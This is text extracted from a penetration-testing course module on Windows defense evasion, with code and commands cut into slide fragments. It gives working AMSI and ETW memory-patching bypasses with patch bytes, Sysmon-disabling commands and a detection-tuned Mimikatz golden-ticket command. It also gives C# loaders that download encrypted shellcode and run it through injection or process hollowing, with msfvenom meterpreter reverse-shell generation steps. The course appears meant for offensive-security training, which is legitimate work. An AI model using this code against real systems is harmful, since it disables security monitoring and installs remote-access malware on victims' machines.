410 Defense Evasion PDF
410 Defense Evasion PDF
410 Defense Evasion PDF
eXtreme
Defense Evasion
S e c t i o n 0 4 | M o d u l e 0 1
© Caendra Inc. 2020
All Rights Reserved
Table of Contents
MODULE 01 | EVASION
1.1 Evasion 1.6 EDR 1.10 Sensitive
Groups
1.2 AMSI 1.7 Discovery
1.11 Payload
1.3 BYOI 1.8 Lateral Development
Movement
1.4 ETW 1.12 Unhooking
1.9 Credential
1.5 SYSMON Access 1.13 Stealth Macro
EVASION
AMSI
Go to Slide 328 and Slide 329 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.11
1.2 AMSI
This image shows how AMSI works with Windows Defender Service. Applications
where AMSI has optics are passed to AmsiScanBuffer or AmsiScanString functions
to be evaluated and blocked if malicious content is detected.
Image Source: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.14
1.2 AMSI
AMSI Patching
When a process is created, amsi.dll is mapped into the virtual
address space of the process, meaning exported functions are
available to use by this process in order to detect malicious
content. In case of PowerShell, AmsiScanBuffer is the function
used by the Anti Malware Scan Interface to detect malicious
content.
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-
type?view=powershell-7 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.20
1.2 AMSI
Source code: https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.21
1.2 AMSI
Following the previous steps results in a completely AMSI Bypass inside the current PowerShell
process, allowing to import scripts without being flagged by Windows Defender.
Source code: https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.22
1.2 AMSI
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);
}
"@
Add-Type $Win32
These are:
1. "System.Management.Automation.AmsiUtils"
2. "amsiInitFailed"
3. "NonPublic,Static"
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.35
1.2 AMSI
Defender's signature
detection can be
bypassed with some
basic obfuscation,
allowing attacker's to
successfully bypass
AMSI reviving previously
detected techniques.
$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
Source code: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.44
1.2 AMSI
Source code: https://www.contextis.com/en/blog/amsi-bypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.46
1.2 AMSI
Code:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect,
out uint lpflOldProtect);
}
"@
Code:
Add-Type $Win32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
Code:
Code:
https://docs.microsoft.com/en-
us/dotnet/api/system.reflection.assembly.load#System_Reflection_Assembly_Load_System_Byte___ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.52
1.2 AMSI
As an example
AmsiScanBufferBypass
compiled to a dll is easily
detected if dropped to disk.
https://github.com/rasta-mouse/AmsiScanBufferBypass PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.53
1.2 AMSI
Boolang needs four dlls to be loaded reflectively in order to compile and run scripts in memory. These are hosted in
variables inside the PowerShell code, compressed and Base 64 encoded in lines 4-7.
These DLLs will be decompressed and placed into byte arrays via the Load-Assembly function from line 9 to 15 to be
loaded later via the Assembly.Load() function and assigned to their respective variables in lines 17-20.
https://github.com/boo-lang/boo/tree/master/bin PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.63
1.3 Bring Your Own Interpreter
The boolang source code will be included in lines 22-27. This will be compiled and executed in memory.
A StringInput object is created with the boolang source code to tell the Boolang compiler the code is coming from a string
instead of a file in the disk on line 29.
Line 32 creates a CompilerParameter object passing false to the constructor in order to get rid of some bugs present in Boolang
when is embedded into PowerShell.
Lines 34-36 adds the ScriptInput object to the CompilerParameters and CompileToMemory pipeline is specified. The compiler is
also instructed to allow Duck Typing which makes Boolang code more similar to Python.
The four Boolang Assemblies are also added as references just in case
the Boo Toolchain is needed and context managers.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.65
1.3 Bring Your Own Interpreter
On line 50 the CompilerParameters
object is passed to the
BooCompiler and the code will be
compiled in line 53.
Lines 1-2 will define the necessary imports in our Boo source code.
Lines 4-14 are the Windows API Calls needed to Patch the
AmsiScanBuffer function, LoadLibrary, GetProcAddress, and
VirtualProtect.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.68
1.3 Bring Your Own Interpreter
The main function detects if the process is running in 32 or 64 bits based in the size of a
pointer in line 35.
Depending if the process is running in 32 or 64 bits, it calls the PatchMem function with
“amsi.dll” as the library where the function is contained, “AmsiScanBuffer” as the function to
be patched, and the appropriate patch depending on if the process is running in 32 or 64 bits.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.70
1.3 Bring Your Own Interpreter
Code:
function Invoke-BoolangAmsiPatch
{
$BooLangDLL = @'<BOOLANG_DLL>'@
$BooLangCompilerDLL = @'<BOOLAND_COMPILER_DLL>'@
$BooLangParserDLL = @'<BOOLAND_PARSER_DLL>'@
$BoolangExtensionsDLL = @'<BOOLANG_EXTENSION_DLL>'@
function Load-Assembly($EncodedCompressedFile)
{
$DeflatedStream =
[IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1900000)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1900000) | Out-Null
return [Reflection.Assembly]::Load($UncompressedFileBytes)
}
$BooLangAsm = Load-Assembly($BooLangDLL)
$BooLangExtensionsAsm = Load-Assembly($BoolangExtensionsDLL)
$BooLangCompilerAsm = Load-Assembly($BooLangCompilerDLL)
$BooLangParserAsm = Load-Assembly($BooLangParserDLL)
$BooSource = @'
import System
import System.Runtime.InteropServices
[DllImport("kernel32.dll")]
public static def VirtualProtect(lpAddress as IntPtr, dwSize as int, flNewProtect as uint, ref lpflOldProtect as IntPtr) as b ool:
pass
try:
oldProtect as IntPtr = 0
library = LoadLibrary(dll)
print ""
print "[>] $(dll) address : $(library)"
address = GetProcAddress(library, function)
print "[-] $(function) address : $(address)"
result = VirtualProtect(address, patch.Length, 0x40, oldProtect)
print "[-] Memory Protection changed to PAGE_EXECUTE_READWRITE"
Marshal.Copy(patch, 0, address, patch.Length)
print "[+] Patched $(dll) : $(function)"
result = VirtualProtect(address, patch.Length, 0x20, oldProtect)
print "[-] Memory Protection Restored to PAGE_EXECUTE_READ"
except:
print "[!] Could not patch $(dll) : $(function)"
public static def Main():
amsi_patch as (byte)
if IntPtr.Size == 8:
// 64 Bits process
print "[-] x64 Process"
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3])
$parameters.Input.Add($scriptinput) | Out-Null
$parameters.Pipeline = [Boo.Lang.Compiler.Pipelines.CompileToMemory]::new()
$parameters.Ducky = $true # $false increases speed but disables duck typing
#Here we manually add assemblies as references to the compiler that will probably be used 100% of the time within our Boo
code
$parameters.AddAssembly($BooLangAsm)
$parameters.AddAssembly($BooLangExtensionsAsm)
$parameters.AddAssembly($BooLangCompilerAsm)
$parameters.AddAssembly($BooLangParserAsm)
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("mscorlib"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System.Core"))
$compiler = [Boo.Lang.Compiler.BooCompiler]::new($parameters)
EtwEventWrite Patching
The function from ntdll.dll EtwEventWrite is the one in
charge of writing events to a session. This can be patched
similar to AMSI in the current process to avoid ETW
Detections. This is because ETW events are sent from
userland and in case of a payload they are also issued
from a process under attacker’s control.
By adding the etw_patch byte array to the code and calling the
PatchMem function with ntdll.dll, EtwEventWrite and the patch
sequence, will result in a complete bypass to ETW logging under the
current process.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.89
1.4 Event Tracing for Windows
function Invoke-EtwAmsiPatch
{
$BooLangDLL = @'<BOOLANG_DLL>'@
$BooLangCompilerDLL = @'<BOOLAND_COMPILER_DLL>'@
$BooLangParserDLL = @'<BOOLAND_PARSER_DLL>'@
$BoolangExtensionsDLL = @'<BOOLANG_EXTENSION_DLL>'@
function Load-Assembly($EncodedCompressedFile)
{
$DeflatedStream =
[IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1900000)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1900000) | Out-Null
return [Reflection.Assembly]::Load($UncompressedFileBytes)
}
$BooLangAsm = Load-Assembly($BooLangDLL)
$BooLangExtensionsAsm = Load-Assembly($BoolangExtensionsDLL)
$BooLangCompilerAsm = Load-Assembly($BooLangCompilerDLL)
$BooLangParserAsm = Load-Assembly($BooLangParserDLL)
$BooSource = @'
import System
import System.Runtime.InteropServices
[DllImport("kernel32.dll")]
public static def VirtualProtect(lpAddress as IntPtr, dwSize as int, flNewProtect as uint, ref lpflOldProtect as IntPtr) as
bool:
pass
else:
// 32 Bits process
print "[-] x86 Process"
etw_patch = array(byte, [0x33, 0xc0, 0xc2, 0x14, 0x00])
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00])
PatchMem("nt"+"dll.dll", "Etw" + "Event" + "Write", etw_patch)
PatchMem("am"+"si.dll", "Am"+"si"+"Sc"+"anBu"+"ffer", amsi_patch)
'@
#$scriptinput = New-Object "Boo.Lang.Compiler.IO.StringInput" -ArgumentList "MyScript.boo, $BooSource"
$scriptinput = [Boo.Lang.Compiler.IO.StringInput]::new("MyScript.boo", $BooSource)
#Passing $false to the constructor tells Boo to not automatically reference default assemblies
$parameters = [Boo.Lang.Compiler.CompilerParameters]::new($false)
$parameters.Input.Add($scriptinput) | Out-Null
$parameters.Pipeline = [Boo.Lang.Compiler.Pipelines.CompileToMemory]::new()
$parameters.Ducky = $true # $false increases speed but disables duck typing
#Here we manually add assemblies as references to the compiler that will probably be used 100% of the time within our Boo
code
$parameters.AddAssembly($BooLangAsm)
$parameters.AddAssembly($BooLangExtensionsAsm)
$parameters.AddAssembly($BooLangCompilerAsm)
$parameters.AddAssembly($BooLangParserAsm)
#Write-Output $parameters.References
$compiler = [Boo.Lang.Compiler.BooCompiler]::new($parameters)
COMPLUS_ETWEnabled
ETW can be disabled without patching the usermode
function EtwEventWrite by just setting and environment
variable of COMPlus_ETWEnabled=0.
SYSMON
SYSMON
System Monitor (Sysmon) is a Windows system service and
device driver that logs detailed system activity such as
process creations, network connections and changes to a
file creation time into the Windows event log.
https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/development-and-testing-tools
https://github.com/matterpreter/Shhmon PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.101
1.5 SYSMON
# List
PS > sshmon.exe hunt
# Disable SysmonDrv
PS > sshmon.exe kill
Endpoint Detection
and Response (EDR)
API Hooking
Next-Gen Antivirus use API hooking to monitor processes
for malicious behavior. This is achieved by overwriting the
first bytes of the target function to hijack the execution
flow. Usually JMP or CALL instructions are inserted to
transfer the execution to the new code (AV code) for
performing the new functionality (checks) and depending
on the result it may return to the original function or stop its
execution.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.109
1.6 Endpoint Detection and Response
Discovery
Host Reconnaissance
Issuing host-recon
commands that are in Mitre’s
ATT&CK or similar knowledge
bases could trigger alerts in
defense systems if they are
chained almost immediately
due to behavior analysis
capabilities.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.112
1.7 Discovery
Windows Management Interface queries are not
usually flagged, and logging is disabled by default.
https://docs.microsoft.com/en-us/windows/win32/wmisdk/using-wmi
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.113
1.7 Discovery
If the user has access to a remote computer, wmic can also be used to
enumerate remote hosts before jumping into them.
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
https://github.com/the-useless-one/pywerview PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.115
https://github.com/BloodHoundAD/BloodHound
1.7 Discovery
WMIC can also be used to
gather information about Users
and Domains.
# Enumerate Groups
PS > Get-CimInstance –ClassName Win32_Group -Filter "DOMAIN =
'<DOMAIN>'"
# Enumerate User Accounts
PS > Get-WMIObject –Class Win32_UserAccount -Filter "DOMAIN =
'<DOMAIN>'"
# Domain Group User Memberships
Get-CimInstance -ClassName Win32_Group -Filter "Domain = <DOMAIN>'
AND Name='<GROUP_NAME>'"
Lateral Movement
Lateral Movement
Performing PSExec or WMIexec against a Domain
Controller is usually detected. Any other lateral movement
technique could be flagged as an abnormal user behavior
depending on the computer it is performed from. For
example, performing lateral movement using help desk
users, jumpboxes or IT Staff computers is usually
stealthier. Hijacking existing RDP connections or inspecting
network sessions usually flies under the radar.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.122
1.8 Lateral Movement
Over-Pass-The-Hash
Using NTLM hashes to request Kerberos tickets is flagged
as encryption downgrade or unusual protocol
implementation by defense solutions.
Golden Tickets
To generate Kerberos Tickets
that will not be flagged by
defense systems, adjust the
lifetime of the ticket to a normal
value, usually 600 minutes, and
provide all the keys.
Mimikatz # kerberos::golden
/user:<USER> /domain:<DOMAIN>
/sid:<SID> /aes256:<AES_KEY>
/endin:600 /renewmax:300 /ptt
Credential Access
Extracting Hashes
Performing DCSync operations from remote computers
will be easily flagged as Malicious replication of directory
services as this is a pretty abnormal behavior in a
production environment.
Sensitive Groups
Custom Payload
Development
using System;
using System.IO;
using System.Net;
using System.Security.Cryptography.X509Certificates;
class Program
{
public static byte[] downloader(string shellcode_url)
{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
Payload Encryption.
Downloading the shellcode over SSL it is not enough to evade
some enterprise defense solutions as they perform Deep Packet
Inspection of SSL traffic (DPI-SSL). This means the traffic is
transparently decrypted, scanned for threats and then re-
encrypted to its destination if no malicious content is detected.
Then the PrintShellcode function will be created from lines 57 – 74. This
function will accept an array of bytes and print them in a format we can copy
and paste into our C# code for future use.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.145
1.11 Custom Payload Development
Our Main function will be on lines 75 to 92. It will check for an argument passed to the
program and this will be the shellcode file in binary format. It will pass the contents of the
file to the AES_Encrypt function to be encrypted with the password "Sup3rS3cr3t!", write
the encrypted contents in a file with the same name as the input file but adding "_enc" at
the end and print the encrypted contents on the screen.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.146
1.11 Custom Payload Development
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
Shellcode Execution
Downloading and decrypting shellcode has been achieved in the
previous steps. Now that the shellcode resides in memory it is
time to execute it.
A new function will be added to our Program class from the previous example, RunShellcode from lines 67-83.
This function will do the following:
• 70: Allocate memory to host the shellcode with PAGE_READWRITE permissions. It is important to avoid
allocate memory using PAGE_EXECUTE_READWRITE as this will increase the chances of getting caught by
defense solutions.
• 72: Copy the shellcode into the allocated memory
• 74-75: Change memory permissions to PAGE_EXECUTE_READ in order to be able to execute our shellcode.
• 77-82: It will create a new thread with the shellcode and wait for its execution to finish before exiting.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.163
1.11 Custom Payload Development
The functionality can be tested by creating a meterpreter reverse tcp payload, encrypting it as
we have done previously with 2_aes_encryption.exe and passing the encrypted shellcode URL
as a first argument to our tool.
# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
4_download_decrypt_execute.exe <SHELLCODE_URL>
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
// https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Variables
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}
The next function, InjectShellcode will accept a byte array containing the decrypted shellcode and an integer
belonging to the remote process id where the shellcode will be injected. The function will:
• 96: Open a handle to the remote process
• 99: Allocate memory in the remote process with PAGE_READWRITE permissions
• 101: Write the shellcode into the allocated process memory
• 103-104: Change memory permissions to PAGE_EXECUTE_READ
• 106: Create a remote thread in the target process executing the injected shellcode.
The main function will need 2 arguments, the shellcode url and
the process name where the shellcode will be injected. It will
download and decrypt the shellcode, locate the process id using
GetPid function and inject the shellcode via InjectShellcode
function.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.177
1.11 Custom Payload Development
The same shellcode from the previous exercise can be used this time. We can see how after compiling and
executing the code with the shellcode url and the target process, the shellcode gets executed under
notepad.exe
# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
5_CreateRemoteThread_Shellcode_Injection.exe <SHELLCODE_URL> <PROCNAME>
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer,
IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}
public class Encrypt
{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
class Program
{
public static int GetPid(string procName)
{
int remoteProcId = 0;
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
if (proc.ProcessName == procName)
{
remoteProcId = proc.Id;
break;
}
}
return remoteProcId;
}
Windows API
Functions used during
the process hollowing
are defined from lines
91-119.
In this case, the main function has the payload shellcode url hardcoded into the "url" variable in
line 204 and the target binary "C:\Windows\System32\userinit.exe" hardcoded into the
targetBinary variable.
When the program its executed, it will download the encrypted shellcode, decrypt it in memory,
start the target binary in suspended state and create a remote thread with the shellcode.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.194
1.11 Custom Payload Development
When executed, the shellcode will be downloaded and decrypted in memory, a new process with the target
binary is created in suspended state and the shellcode will be injected in a new thread.
# Create shellcode
~ msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> EXITFUNC=thread –smallest –f raw –o shellcode.bin
# Encrypt shellcode
~ mono 2_aes_encryption.exe shellcode.bin
# Testing web server
~ python3 –m http.server 8080
# Execute
6_Process_Hollowing.exe
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
[DllImport("kernel32")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine,
SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes,
Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, [In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize,
UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
public class Program
{
public static void Hollow(string targetBinaryPath, byte[] shellcode)
{
// Local variables
Int32 size = shellcode.Length;
Win32.StartupInfo sInfo = new Win32.StartupInfo();
sInfo.dwFlags = 0;
Win32.ProcessInformation pInfo;
Go to Slide 339 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.211
1.11 Custom Payload Development
• SECURITY_ATTRIBUTES L53-60:
The SECURITY_ATTRIBUTES
structure contains the security
descriptor for an object and
specifies whether the handle
retrieved by specifying this
structure is inheritable.
• ProcessAccessFlags L62-78:
Specifies the process-specific
access rights.
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.212
1.11 Custom Payload Development
The next function, InjectShellcode will accept a byte array containing the decrypted shellcode and an integer
belonging to the remote process id where the shellcode will be injected. The function will:
• 234: Open a handle to the remote process
• 237: Allocate memory in the remote process with PAGE_READWRITE permissions
• 240: Write the shellcode into the allocated process memory
